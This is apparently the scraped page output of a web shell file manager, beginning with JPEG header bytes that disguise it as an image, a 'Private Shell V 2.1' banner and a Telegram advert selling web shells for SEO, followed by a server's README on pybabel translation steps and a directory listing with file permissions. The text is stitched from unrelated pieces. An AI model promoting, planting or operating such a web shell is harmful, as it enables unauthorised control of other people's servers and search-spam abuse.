����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
### Splashscreen Localization
In order to extract text to be translated from source code run:
```
cd <IMUNIFY360_WEBSHIELD_MODULE_ACCESS_LISTS>
pybabel extract -F babel.cfg -o translations.pot templates
```
This creates the PO file template translations.pot
If you don't already have translation catalogs, you need to create them.
This is done using the pybabel init command:
```
pybabel init -i translations.pot -d translations/locale/ -l ru
pybabel init -i translations.pot -d translations/locale/ -l en
```
This should create files: translations/locale/{ru,en}/LC_MESSAGES/messages.po based on extracted_translations.pot
These files are where you put the actual translations.
When you modify templates, you generally need to sync the translation catalogs.
For that, you first perform a fresh extraction as described in the previous section,
so that the extracted_translations.pot file gets updated.
Then, you run the pybabel update command to merge the changes into the translation catalogs:
```
pybabel update -i translations.pot -d translations/locale/
```
[Here is a good instruction](https://github.com/python-babel/django-babel)
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| locale | Folder | 0755 |
|
|
| README.MD | File | 1.12 KB | 0644 |
|